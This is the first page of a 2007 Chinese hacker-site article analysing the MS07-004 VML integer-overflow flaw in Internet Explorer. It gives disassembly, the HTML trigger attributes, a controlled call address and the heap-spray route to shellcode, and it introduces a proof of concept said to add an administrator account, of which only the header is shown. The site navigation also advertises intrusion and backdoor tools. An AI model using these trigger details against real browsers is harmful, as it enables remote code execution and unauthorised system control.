黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]MS07-004漏洞分析
      ★★★★★

MS07-004漏洞分析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-1-19 10:29:39
万众瞩目的MS07-004终于POC出炉了,之前小弟一直因为eeye的补丁比较工具bindiff在罢工,再加上一些琐事缠身,所以也没好好看这个漏洞。

今天在eong兄和milw0rm上那位公布poc的老兄的基础上,好好跟了下这个漏洞。

以下所有调试过程都是在简体中文版的XP SP2 Pro上进行的。

首先,看写别人比较出来的
因为他是在韩文系统上比较出来的,所以在中文版地址上有些不同,其实关系不大,只需要用OD搜 imul eax, eax, 2ch就可以定位到问题了。

在我的系统上是:
6FF176A5 5F POP EDI
6FF176A6 5B POP EBX
6FF176A7 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8]
6FF176AA 0346 04 ADD EAX,DWORD PTR DS:[ESI+4]
6FF176AD 85C0 TEST EAX,EAX
6FF176AF 7E 13 JLE SHORT vgx.6FF176C4
6FF176B1 6BC0 2C IMUL EAX,EAX,2C ;相乘,整数溢出
6FF176B4 68 01010000 PUSH 101
6FF176B9 50 PUSH EAX
6FF176BA E8 3588FBFF CALL vgx.6FECFEF4 ; malloc()
6FF176BF 59 POP ECX
6FF176C0 59 POP ECX
6FF176C1 8946 14 MOV DWORD PTR DS:[ESI+14],EAX
6FF176C4 B0 01 MOV AL,1
6FF176C6 5E POP ESI
6FF176C7 5D POP EBP
6FF176C8 C2 0C00 RETN 0C
这里是因为没有针对eax做检查,导致了整数溢出
相乘后,反而使malloc(eax*2ch)的空间变小了
在后来有一个movs的操作,会把内存一片片的拷到刚才malloc出来的地方。
在这个过程中,会覆盖掉 mshtml.dll中的一个虚函数保存在堆里的指针。

call [ecx + 10h]

而这里的ecx正好是我们可以控制的。
在这里不得不提以下,漏洞触发的两个关键地方:

第一个:
<v:recolorinfo recolorstate="t" numcolors="1" numfills="1073741831">
这里后面的大整数可以是numcolors, 也可以放在numfills ,我这里放在了numfills里,其实都差不多。
6FF176A7 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8]
6FF176AA 0346 04 ADD EAX,DWORD PTR DS:[ESI+4]
因为这两句会把这个大整数传递给EAX,在后面给eax*2ch 用

第二个关键的地方是:
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="13" bitmaptype="13" />

参数或许还有可以精简的地方,我没细改了。

在这里, rgb(a,b,c)
这里的a, b , c 可以直接传递到内存里面去,也会直接传递给后面的ecx

从而我们可以控制 call [ecx + 10h]

在这里,因为rgb只有3个参数,所以,地址的第一个字节只能是0x00

我在这里选择了rgb(90,22,64)

实际上就是 : 0x0040165A
这个地址是在iexplorer.exe里的
注意:不同系统和不同语言的这个地址可能会不同

至于如何通用这里就不提到了,因为这里也跟eong兄讨论过的,不方便发出来。

这个地址加10h

就是 0x0040166A

他指向了 0x0c15xxxx 而这个地址是正好落在我们的heap spray中间的,所以就跳转到了我们的shellcode。

下面是我们的POC, 如果一切正常,会在你的系统你添加一个帐户名为axis的管理员帐户。

另外这个漏洞比上次的ms06-055要好,可以恢复栈平衡,达到不挂ie的效果
<!--

MS07-004 VML integer overflow exploit
 by axis@ph4nt0m.org

-->
 

[1] [2] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886